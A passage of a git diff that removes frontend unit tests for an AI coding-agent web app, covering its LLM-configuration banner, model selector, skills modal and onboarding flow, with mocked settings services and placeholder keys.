...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - agent_kind: "acp", - }, - }), - ); - - // Act - renderBanner(); - await screen.findByTestId("queries-settled"); - - // Assert - expect( - screen.queryByTestId("home-llm-not-configured-banner"), - ).not.toBeInTheDocument(); - }); - - it("stays hidden when the LLM settings page is hidden by feature flag", async () => { - // Arrange: no key, but the settings page is hidden — routing the user to - // /settings/llm would dead-end, so the hook treats the LLM as configured. - vi.spyOn(OptionService, "getConfig").mockResolvedValue(buildConfig(true)); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ llm_api_key_set: false }), - ); - - // Act - renderBanner(); - await screen.findByTestId("queries-settled"); - - // Assert - expect( - screen.queryByTestId("home-llm-not-configured-banner"), - ).not.toBeInTheDocument(); - }); - - it("warns when settings 404 — the genuine new-user state — despite the error flag", async () => { - // Arrange: a 404 means no settings exist yet. useSettings maps it to - // DEFAULT_SETTINGS (no key) while keeping isError set, so the banner must - // still appear — this is the real "Skip for now" state. Guards against - // conflating this with a transient fetch error that should suppress it. - vi.spyOn(SettingsService, "getSettings").mockRejectedValue({ status: 404 }); - - // Act - renderBanner(); - - // Assert - expect( - await screen.findByTestId("home-llm-not-configured-banner"), - ).toBeInTheDocument(); - }); - - it("routes the user to LLM settings when the action is clicked", async () => { - // Arrange - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ llm_api_key_set: false }), - ); - const user = userEvent.setup(); - const { navigate } = renderBanner(); - - // Act - await user.click( - await screen.findByTestId("home-llm-not-configured-action"), - ); - - // Assert - expect(navigate).toHaveBeenCalledWith("/settings/llm"); - }); -}); diff --git a/__tests__/components/image-preview.test.tsx b/__tests__/components/image-preview.test.tsx deleted file mode 100644 index 7e40d4b92..000000000 --- a/__tests__/components/image-preview.test.tsx +++ /dev/null @@ -1,37 +0,0 @@ -import { ImagePreview } from "#/components/features/images/image-preview"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; - -describe("ImagePreview", () => { - it("should render an image", () => { - render( - , - ); - const img = screen.getByRole("img"); - - expect(screen.getByTestId("image-preview")).toBeInTheDocument(); - expect(img).toHaveAttribute("src", "https://example.com/image.jpg"); - }); - - it("should call onRemove when the close button is clicked", async () => { - const user = userEvent.setup(); - const onRemoveMock = vi.fn(); - render( - , - ); - - const closeButton = screen.getByRole("button"); - await user.click(closeButton); - - expect(onRemoveMock).toHaveBeenCalledOnce(); - }); - - it("should not display the close button when onRemove is not provided", () => { - render(); - expect(screen.queryByRole("button")).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/modals/settings/model-selector-openhands.test.tsx b/__tests__/components/modals/settings/model-selector-openhands.test.tsx deleted file mode 100644 index 2ef670fe5..000000000 --- a/__tests__/components/modals/settings/model-selector-openhands.test.tsx +++ /dev/null @@ -1,63 +0,0 @@ -import { describe, expect, it, beforeEach } from "vitest"; -import React from "react"; -import { render, screen, waitFor } from "@testing-library/react"; -import { http, HttpResponse } from "msw"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { ModelSelector } from "#/components/shared/modals/settings/model-selector"; -import { server } from "#/mocks/node"; - -describe("ModelSelector — OpenHands provider display", () => { - let providersCount = 0; - let verifiedCount = 0; - let modelsCount = 0; - - beforeEach(() => { - providersCount = 0; - verifiedCount = 0; - modelsCount = 0; - // Use "*" prefix to match both relative paths and absolute URLs (e.g., - // http://127.0.0.1:8000/api/...) when VITE_BACKEND_BASE_URL is configured. - server.use( - http.get("*/api/llm/providers", () => { - providersCount += 1; - return HttpResponse.json({ - providers: ["openhands", "anthropic", "openai"], - }); - }), - http.get("*/api/llm/models/verified", () => { - verifiedCount += 1; - return HttpResponse.json({ - models: { - openhands: ["claude-opus-4-7"], - anthropic: ["claude-opus-4-5-20251101"], - }, - }); - }), - http.get("*/api/llm/models", () => { - modelsCount += 1; - return HttpResponse.json({ models: [] }); - }), - ); - }); - - function renderWithQuery(ui: React.ReactElement) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - {ui}, - ); - } - - it("shows OpenHands immediately for current openhands/ settings", async () => { - renderWithQuery(); - - await waitFor(() => { - expect(screen.getByLabelText("LLM$PROVIDER")).toHaveValue("OpenHands"); - }); - - expect(providersCount).toBe(1); - expect(verifiedCount).toBe(1); - expect(modelsCount).toBe(1); - }); -}); diff --git a/__tests__/components/modals/settings/model-selector.test.tsx b/__tests__/components/modals/settings/model-selector.test.tsx deleted file mode 100644 index fcc776750..000000000 --- a/__tests__/components/modals/settings/model-selector.test.tsx +++ /dev/null @@ -1,150 +0,0 @@ -import { describe, it, expect, vi } from "vitest"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { ModelSelector } from "#/components/shared/modals/settings/model-selector"; -import type { - LLMProvider, - LLMModel, -} from "#/api/config-service/config-service.types"; - -const mockProviders: LLMProvider[] = [ - { name: "openai", verified: true }, - { name: "azure", verified: false }, - { name: "vertex_ai", verified: false }, -]; - -const mockModelsByProvider: Record = { - openai: [ - { provider: "openai", name: "gpt-4o", verified: true }, - { provider: "openai", name: "gpt-4o-mini", verified: true }, - ], - azure: [ - { provider: "azure", name: "ada", verified: false }, - { provider: "azure", name: "gpt-35-turbo", verified: false }, - ], - vertex_ai: [ - { provider: "vertex_ai", name: "chat-bison", verified: false }, - { provider: "vertex_ai", name: "chat-bison-32k", verified: false }, - ], -}; - -vi.mock("#/hooks/query/use-search-providers", () => ({ - useSearchProviders: () => ({ data: mockProviders }), -})); - -vi.mock("#/hooks/query/use-provider-models", () => ({ - useProviderModels: (provider: string | null) => ({ - data: provider ? (mockModelsByProvider[provider] ?? []) : [], - }), -})); - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - LLM$PROVIDER: "LLM Provider", - LLM$MODEL: "LLM Model", - LLM$SELECT_PROVIDER_PLACEHOLDER: "Select a provider", - LLM$SELECT_MODEL_PLACEHOLDER: "Select a model", - }; - return translations[key] || key; - }, - }), -})); - -function renderWithQuery(ui: React.ReactElement) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - {ui}, - ); -} - -describe("ModelSelector", () => { - it("should display the provider selector", async () => { - const user = userEvent.setup(); - renderWithQuery(); - - const selector = screen.getByLabelText("LLM Provider"); - expect(selector).toBeInTheDocument(); - - await user.click(selector); - - expect(screen.getByText("OpenAI")).toBeInTheDocument(); - expect(screen.getByText("Azure")).toBeInTheDocument(); - expect(screen.getByText("VertexAI")).toBeInTheDocument(); - }); - - it("should disable the model selector if the provider is not selected", async () => { - const user = userEvent.setup(); - renderWithQuery(); - - const modelSelector = screen.getByLabelText("LLM Model"); - expect(modelSelector).toBeDisabled(); - - const providerSelector = screen.getByLabelText("LLM Provider"); - await user.click(providerSelector); - - const vertexAI = screen.getByText("VertexAI"); - await user.click(vertexAI); - - expect(modelSelector).not.toBeDisabled(); - }); - - it("should display the model selector", async () => { - const user = userEvent.setup(); - renderWithQuery(); - - const providerSelector = screen.getByLabelText("LLM Provider"); - await user.click(providerSelector); - - const azureProvider = screen.getByText("Azure"); - await user.click(azureProvider); - - const modelSelector = screen.getByLabelText("LLM Model"); - await user.click(modelSelector); - - expect(screen.getByText("ada")).toBeInTheDocument(); - expect(screen.getByText("gpt-35-turbo")).toBeInTheDocument(); - }); - - it("should call onChange when the provider and model change", async () => { - const user = userEvent.setup(); - const onChange = vi.fn(); - - renderWithQuery(); - - const providerSelector = screen.getByLabelText("LLM Provider"); - await user.click(providerSelector); - await user.click(screen.getByText("Azure")); - - const modelSelector = screen.getByLabelText("LLM Model"); - await user.click(modelSelector); - await user.click(screen.getByText("ada")); - - expect(onChange).toHaveBeenNthCalledWith(1, "azure", null); - expect(onChange).toHaveBeenNthCalledWith(2, "azure", "ada"); - }); - - it("should have a default value if passed", async () => { - renderWithQuery(); - - await waitFor(() => { - expect(screen.getByLabelText("LLM Provider")).toHaveValue("Azure"); - expect(screen.getByLabelText("LLM Model")).toHaveValue("ada"); - }); - }); - - it("should not render placeholder text on the provider or model inputs", () => { - renderWithQuery(); - - const providerInput = screen.getByLabelText("LLM Provider"); - const modelInput = screen.getByLabelText("LLM Model"); - - expect(providerInput.getAttribute("placeholder") ?? "").toBe(""); - expect(modelInput.getAttribute("placeholder") ?? "").toBe(""); - }); - -}); diff --git a/__tests__/components/modals/skills/skill-modal.test.tsx b/__tests__/components/modals/skills/skill-modal.test.tsx deleted file mode 100644 index 0b1e337f2..000000000 --- a/__tests__/components/modals/skills/skill-modal.test.tsx +++ /dev/null @@ -1,114 +0,0 @@ -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { SkillsModal } from "#/components/features/conversation-panel/skills-modal"; -import SkillsService from "#/api/skills-service"; - -describe("SkillsModal", () => { - const mockOnClose = vi.fn(); - - const defaultProps = { - onClose: mockOnClose, - }; - - const mockSkills = [ - { - name: "Test Skill 1", - type: "repo" as const, - source: null, - triggers: ["test", "example"], - content: "This is test content for skill 1", - }, - { - name: "Test Skill 2", - type: "knowledge" as const, - source: null, - triggers: ["help", "support"], - content: "This is test content for skill 2", - }, - ]; - - beforeEach(() => { - vi.clearAllMocks(); - - vi.spyOn(SkillsService, "getSkills").mockResolvedValue(mockSkills); - }); - - afterEach(() => { - vi.restoreAllMocks(); - }); - - describe("Refresh Button Rendering", () => { - it("should render the refresh button as an icon-only control with accessible label", async () => { - renderWithProviders(); - - const refreshButton = await screen.findByTestId("refresh-skills"); - expect(refreshButton).toBeInTheDocument(); - expect(refreshButton).toHaveAttribute( - "aria-label", - "BUTTON$REFRESH", - ); - expect(refreshButton).not.toHaveTextContent("BUTTON$REFRESH"); - }); - }); - - describe("Close Button", () => { - it("should render the close button and call onClose when clicked", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - const closeButton = await screen.findByTestId("close-skills-modal"); - expect(closeButton).toBeInTheDocument(); - - await user.click(closeButton); - - expect(mockOnClose).toHaveBeenCalledTimes(1); - }); - }); - - describe("Refresh Button Functionality", () => { - it("should call refetch when refresh button is clicked", async () => { - const user = userEvent.setup(); - const refreshSpy = vi.spyOn(SkillsService, "getSkills"); - - renderWithProviders(); - - const refreshButton = await screen.findByTestId("refresh-skills"); - - refreshSpy.mockClear(); - - await user.click(refreshButton); - - expect(refreshSpy).toHaveBeenCalled(); - }); - }); - - describe("Skills Display", () => { - it("displays the skills catalog when opened with no active conversation (home page)", async () => { - // Arrange: the catalog fetch succeeds; no conversation exists in this - // render, so no runtime ever starts (the original infinite-spinner bug) - vi.spyOn(SkillsService, "getSkills").mockResolvedValue(mockSkills); - - // Act - renderWithProviders(); - - // Assert: the list renders instead of waiting for a runtime - expect(await screen.findByText("Test Skill 1")).toBeInTheDocument(); - expect(screen.getByText("Test Skill 2")).toBeInTheDocument(); - }); - - it("surfaces a fetch error message when the skills catalog cannot be loaded", async () => { - // Arrange: the catalog fetch fails (e.g. agent server unreachable) - vi.spyOn(SkillsService, "getSkills").mockRejectedValue( - new Error("network error"), - ); - - // Act - renderWithProviders(); - - // Assert: a clear failure message is shown instead of an endless spinner - expect(await screen.findByText("COMMON$FETCH_ERROR")).toBeInTheDocument(); - }); - }); -}); diff --git a/__tests__/components/onboarding/choose-agent-step.test.tsx b/__tests__/components/onboarding/choose-agent-step.test.tsx deleted file mode 100644 index 3da8b4e2b..000000000 --- a/__tests__/components/onboarding/choose-agent-step.test.tsx +++ /dev/null @@ -1,285 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor, within } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { - AgentOptionIcon, - ChooseAgentStep, - type OnboardingAgentId, -} from "#/components/features/onboarding/steps/choose-agent-step"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - ACP_PROVIDERS, - getAcpPreferredDefaultModel, -} from "#/constants/acp-providers"; -import { I18nKey } from "#/i18n/declaration"; - -function renderStep(initial: OnboardingAgentId = "openhands") { - const onSelect = vi.fn(); - const onNext = vi.fn(); - render( - - - , - ); - return { onSelect, onNext }; -} - -describe("ChooseAgentStep", () => { - beforeEach(() => { - vi.restoreAllMocks(); - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - }); - - it("renders all four agent options with OpenHands marked selected by default", () => { - renderStep(); - - const openhands = screen.getByTestId("onboarding-agent-option-openhands"); - const claude = screen.getByTestId("onboarding-agent-option-claude-code"); - const codex = screen.getByTestId("onboarding-agent-option-codex"); - const gemini = screen.getByTestId("onboarding-agent-option-gemini-cli"); - - expect(openhands).toHaveAttribute("aria-checked", "true"); - // All four options are clickable — ACP is no longer "coming soon". - expect(openhands).not.toBeDisabled(); - expect(claude).not.toBeDisabled(); - expect(codex).not.toBeDisabled(); - expect(gemini).not.toBeDisabled(); - - // Neither the legacy "coming soon" banner nor the per-option badges - // should render now that all four agent kinds work end-to-end. - expect( - screen.queryByTestId("onboarding-agent-coming-soon"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-agent-badge-claude-code"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-agent-badge-codex"), - ).not.toBeInTheDocument(); - }); - - it("renders the registry-selected Gemini icon on the Gemini CLI tile", () => { - renderStep(); - - const gemini = screen.getByTestId("onboarding-agent-option-gemini-cli"); - - expect( - within(gemini).getByTestId("onboarding-agent-icon-gemini"), - ).toBeInTheDocument(); - expect( - within(gemini).queryByTestId("onboarding-agent-icon-codex"), - ).not.toBeInTheDocument(); - }); - - it("falls back to the generic CLI icon for a registry provider without an icon", () => { - ACP_PROVIDERS.push({ - key: "future-cli", - display_name: "Future CLI", - default_command: ["future-cli", "--acp"], - description_key: I18nKey.ONBOARDING$AGENT_CODEX_DESCRIPTION, - }); - - try { - renderStep(); - - const future = screen.getByTestId("onboarding-agent-option-future-cli"); - - expect( - within(future).getByTestId("onboarding-agent-icon-cli-generic"), - ).toBeInTheDocument(); - expect( - within(future).queryByTestId("onboarding-agent-icon-codex"), - ).not.toBeInTheDocument(); - } finally { - ACP_PROVIDERS.pop(); - } - }); - - it("falls back to the generic CLI icon for an unknown provider key", () => { - render(); - - expect( - screen.getByTestId("onboarding-agent-icon-cli-generic"), - ).toBeInTheDocument(); - }); - - it("propagates click selections through onSelect for every option", async () => { - const { onSelect } = renderStep(); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("onboarding-agent-option-claude-code")); - expect(onSelect).toHaveBeenLastCalledWith("claude-code"); - - await user.click(screen.getByTestId("onboarding-agent-option-codex")); - expect(onSelect).toHaveBeenLastCalledWith("codex"); - - await user.click(screen.getByTestId("onboarding-agent-option-gemini-cli")); - expect(onSelect).toHaveBeenLastCalledWith("gemini-cli"); - - await user.click(screen.getByTestId("onboarding-agent-option-openhands")); - expect(onSelect).toHaveBeenLastCalledWith("openhands"); - }); - - it("persists agent_kind:'openhands' and advances on Next when OpenHands is selected", async () => { - const save = vi.spyOn(SettingsService, "saveSettings"); - const { onNext } = renderStep("openhands"); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("onboarding-agent-next")); - - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - expect(onNext).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff).toEqual({ agent_kind: "openhands" }); - }); - - it("persists an ACP diff matching the registry when Claude Code is selected", async () => { - const save = vi.spyOn(SettingsService, "saveSettings"); - const { onNext } = renderStep("claude-code"); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("onboarding-agent-next")); - - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - expect(onNext).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff).toEqual({ - agent_kind: "acp", - acp_server: "claude-code", - // Default-command path: the backend resolves the command from its - // own registry, so we don't pin a stale command here. - acp_command: [], - // ``acp_args: []`` is reset on every save so an API-set - // ``acp_args`` can't survive and concatenate onto the spawn - // command at conversation-create time. - acp_args: [], - acp_model: "opus[1m]", - }); - }); - - it.each([ - ["codex", "codex"], - ["gemini-cli", "gemini-cli"], - ])("persists acp_server=%s for the matching tile", async (id, expected) => { - const save = vi.spyOn(SettingsService, "saveSettings"); - renderStep(id as OnboardingAgentId); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("onboarding-agent-next")); - - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect( - (call.agent_settings_diff as Record).acp_server, - ).toBe(expected); - // Canvas preselects the *preferred* default model — the registry default - // for Codex, but the Vertex-safe override (gemini-2.5-pro) for Gemini: - // gemini-cli re-resolves flash ids to its own default, which 404s on many - // Vertex projects (software-agent-sdk#3532). - expect( - (call.agent_settings_diff as Record).acp_model, - ).toBe(getAcpPreferredDefaultModel(expected)); - }); - - it("rebuilds the diff cleanly when the user flips between ACP providers", async () => { - // Bot-flagged: would a stale claude-code selection leak into a - // subsequent codex save? The helper rebuilds from the current - // selectedAgentId on each Next click, so no — but pin it. - const save = vi.spyOn(SettingsService, "saveSettings"); - const { rerender } = render( - - - , - ); - const user = userEvent.setup(); - await user.click(screen.getByTestId("onboarding-agent-next")); - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - expect( - ( - save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - } - ).agent_settings_diff?.acp_server, - ).toBe("claude-code"); - - // Switch the *parent's* selection (the modal's setSelectedAgentId) - // and click Next again — the second save should carry codex, not - // a stale claude-code value. - save.mockClear(); - rerender( - - - , - ); - await user.click(screen.getByTestId("onboarding-agent-next")); - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - expect( - ( - save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - } - ).agent_settings_diff?.acp_server, - ).toBe("codex"); - }); - - it("does not advance when the save mutation fails", async () => { - vi.spyOn(SettingsService, "saveSettings").mockRejectedValueOnce( - new Error("boom"), - ); - const { onNext } = renderStep("claude-code"); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("onboarding-agent-next")); - - // saveSettings rejects → onSuccess is not called → onNext stays untouched. - await waitFor( - () => { - expect(SettingsService.saveSettings).toHaveBeenCalledTimes(1); - }, - { timeout: 1000 }, - ); - expect(onNext).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/components/onboarding/onboarding-host.test.tsx b/__tests__/components/onboarding/onboarding-host.test.tsx deleted file mode 100644 index 42860c44b..000000000 --- a/__tests__/components/onboarding/onboarding-host.test.tsx +++ /dev/null @@ -1,283 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import { MemoryRouter } from "react-router"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { OnboardingHost } from "#/components/features/onboarding/onboarding-host"; -import { ONBOARDING_COMPLETED_STORAGE_KEY } from "#/components/features/onboarding/use-onboarding-completion"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { DEFAULT_SETTINGS } from "#/services/settings"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { NavigationProvider } from "#/context/navigation-context"; - -// We don't need to exercise the modal's internals here; just verify -// whether OnboardingHost mounts it at all. -vi.mock("#/components/features/onboarding/onboarding-modal", () => ({ - OnboardingModal: () => ( -
    onboarding modal
    - ), -})); - -function renderHost() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - const navigationValue = { - currentPath: "/", - conversationId: null, - isNavigating: false, - navigate: vi.fn(), - }; - return render( - - - - - - - - - , - ); -} - -function seedCloudBackend() { - const backend = { - id: "cloud-backend", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "cloud-session-key", - kind: "cloud" as const, - }; - setRegisteredBackends([backend]); - setActiveSelection({ backendId: backend.id, orgId: null }); - return backend; -} - -function seedUserAddedLocalBackend() { - // A Local backend the user explicitly added via "Add Backend" — its id - // is NOT the launcher-seeded SEEDED_DEFAULT_BACKEND_ID, so the - // "pre-configured server" skip is allowed to fire for it. - const backend = { - id: "user-added-local", - name: "My Agent Server", - host: "http://localhost:9000", - apiKey: "session-key", - kind: "local" as const, - }; - setRegisteredBackends([backend]); - setActiveSelection({ backendId: backend.id, orgId: null }); - return backend; -} - -beforeEach(() => { - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000"); - vi.stubEnv("VITE_SESSION_API_KEY", "session-key"); - __resetActiveStoreForTests(); - vi.clearAllMocks(); -}); - -afterEach(() => { - window.localStorage.clear(); - vi.unstubAllEnvs(); - __resetActiveStoreForTests(); -}); - -describe("OnboardingHost", () => { - it("renders the onboarding modal for a fresh install with no configured LLM", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue({ - ...DEFAULT_SETTINGS, - llm_api_key_set: false, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "" }, - }, - }); - - renderHost(); - - expect( - await screen.findByTestId("onboarding-modal-stub"), - ).toBeInTheDocument(); - }); - - it("skips the modal when the active Cloud backend has a configured LLM", async () => { - seedCloudBackend(); - const getSettings = vi - .spyOn(SettingsService, "getSettings") - .mockResolvedValue({ - ...DEFAULT_SETTINGS, - llm_api_key_set: true, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "anthropic/claude-sonnet-4-5", api_key: "stored" }, - }, - }); - - renderHost(); - - await waitFor(() => { - expect(getSettings).toHaveBeenCalledOnce(); - expect( - screen.queryByTestId("onboarding-modal-stub"), - ).not.toBeInTheDocument(); - }); - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); - - it("skips the modal for a configured Cloud backend that does not match the locked host", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://other-cloud.example.com"); - seedCloudBackend(); - const getSettings = vi - .spyOn(SettingsService, "getSettings") - .mockResolvedValue({ - ...DEFAULT_SETTINGS, - llm_api_key_set: true, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "anthropic/claude-sonnet-4-5", api_key: "stored" }, - }, - }); - - renderHost(); - - await waitFor(() => { - expect(getSettings).toHaveBeenCalledOnce(); - expect( - screen.queryByTestId("onboarding-modal-stub"), - ).not.toBeInTheDocument(); - }); - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); - - it("skips the modal when the active Cloud backend uses subscription auth", async () => { - seedCloudBackend(); - const getSettings = vi - .spyOn(SettingsService, "getSettings") - .mockResolvedValue({ - ...DEFAULT_SETTINGS, - llm_api_key_set: false, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "openai/gpt-5.5", auth_type: "subscription" }, - }, - }); - - renderHost(); - - await waitFor(() => { - expect(getSettings).toHaveBeenCalledOnce(); - expect( - screen.queryByTestId("onboarding-modal-stub"), - ).not.toBeInTheDocument(); - }); - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); - - it("still shows the modal for a Cloud user when an API key is set but no model is configured", async () => { - seedCloudBackend(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue({ - ...DEFAULT_SETTINGS, - llm_api_key_set: true, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "" }, - }, - }); - - renderHost(); - - expect( - await screen.findByTestId("onboarding-modal-stub"), - ).toBeInTheDocument(); - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); - - it("shows the modal for a user-added Local backend that already has an LLM configured", async () => { - seedUserAddedLocalBackend(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue({ - ...DEFAULT_SETTINGS, - llm_api_key_is_set: true, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "openai/zai-org/GLM-5.2", api_key: "**********" }, - }, - }); - - renderHost(); - - expect( - await screen.findByTestId("onboarding-modal-stub"), - ).toBeInTheDocument(); - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); - - it("still shows the modal for a launcher-seeded default-local backend even when the agent-server reports a configured LLM", async () => { - // Regression for the mock-LLM E2E fresh-install / happy-path tests: - // the shared agent-server retains a previously-configured LLM across - // browser sessions, so keying first-run onboarding off the server's - // LLM state would suppress the modal for a genuinely fresh browser - // install. The launcher-seeded default-local backend (id - // SEEDED_DEFAULT_BACKEND_ID) must not trigger the skip — the - // `openhands-onboarded` localStorage flag stays the source of truth - // for first-run detection there. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue({ - ...DEFAULT_SETTINGS, - llm_api_key_is_set: true, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "openai/zai-org/GLM-5.2", api_key: "**********" }, - }, - }); - - renderHost(); - - expect( - await screen.findByTestId("onboarding-modal-stub"), - ).toBeInTheDocument(); - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); - - it("still shows the modal for a fresh Local agent-server with no API key set", async () => { - // The default agent-server schema returns a model name (e.g. - // "gpt-5.5") but llm_api_key_is_set === false until the user - // configures one. The modal must keep running the LLM step. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue({ - ...DEFAULT_SETTINGS, - llm_api_key_is_set: false, - llm_api_key_set: false, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "gpt-5.5", api_key: null }, - }, - }); - - renderHost(); - - expect( - await screen.findByTestId("onboarding-modal-stub"), - ).toBeInTheDocument(); - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); -}); diff --git a/__tests__/components/onboarding/onboarding-modal.test.tsx b/__tests__/components/onboarding/onboarding-modal.test.tsx deleted file mode 100644 index e28041481..000000000 --- a/__tests__/components/onboarding/onboarding-modal.test.tsx +++ /dev/null @@ -1,1131 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor, within } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import type { MockInstance } from "vitest"; - -import { - __resetActiveStoreForTests, - getActiveSelection, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { OnboardingModal } from "#/components/features/onboarding/onboarding-modal"; -import { ONBOARDING_DEFAULT_LLM_MODEL } from "#/components/features/onboarding/steps/setup-llm-step"; -import { NavigationProvider } from "#/context/navigation-context"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { SecretsService } from "#/api/secrets-service"; -import { DEFAULT_SETTINGS } from "#/services/settings"; -import * as telemetry from "#/services/telemetry"; - -const llmSettingsScreenMock = vi.hoisted(() => vi.fn()); -const getServerInfoMock = vi.hoisted(() => vi.fn()); -let captureMock: MockInstance; - -// Both the backend status badge in the embedded edit form and the -// step-1 health probe ride on `useBackendsHealth`, which resolves -// server metadata through `ServerClient`. -vi.mock("@openhands/typescript-client/clients", () => ({ - ServerClient: vi.fn(function ServerClientMock(options?: { host?: string }) { - return { - getServerInfo: vi.fn(() => getServerInfoMock(options)), - }; - }), - // The always-mounted LLM slide initializes settings hooks even though - // `LlmSettingsScreen` is stubbed, so provide the minimal client it needs. - SettingsClient: vi.fn(function SettingsClientMock() { - return { - getSettings: vi.fn().mockResolvedValue({}), - }; - }), -})); - -vi.mock("#/api/cloud/organization-service.api", () => ({ - getCurrentCloudApiKey: vi.fn().mockResolvedValue({ - orgId: null, - isLegacyKey: true, - }), -})); - -// The LLM step renders the full `LlmSettingsScreen`, which transitively -// pulls in agent-server config + schema queries we don't need to -// exercise here. Stub it to a marker so we can still verify the LLM -// step is mounted and inspect the onboarding defaults passed to it. -vi.mock("#/routes/llm-settings", async () => { - const React = await import("react"); - - return { - LlmSettingsScreen: (props: Record) => { - llmSettingsScreenMock(props); - return React.createElement( - "div", - { "data-testid": "llm-settings-screen-stub" }, - "llm settings", - ); - }, - }; -}); - -vi.mock("#/components/features/backends/device-flow-auth", async () => { - const React = await import("react"); - - return { - DeviceFlowAuth: ({ - onSuccess, - testIdRoot, - }: { - onSuccess: (apiKey: string) => void; - testIdRoot: string; - }) => - React.createElement( - "button", - { - type: "button", - "data-testid": `${testIdRoot}-login-button`, - onClick: () => onSuccess("cloud-session-key"), - }, - "Login with OpenHands Cloud", - ), - }; -}); - -vi.mock( - "#/components/features/automations/recommended-automations-launcher", - () => ({ - RecommendedAutomationsLauncher: ({ - onLaunched, - }: { - onLaunched?: () => void; - }) => ( -
    - -
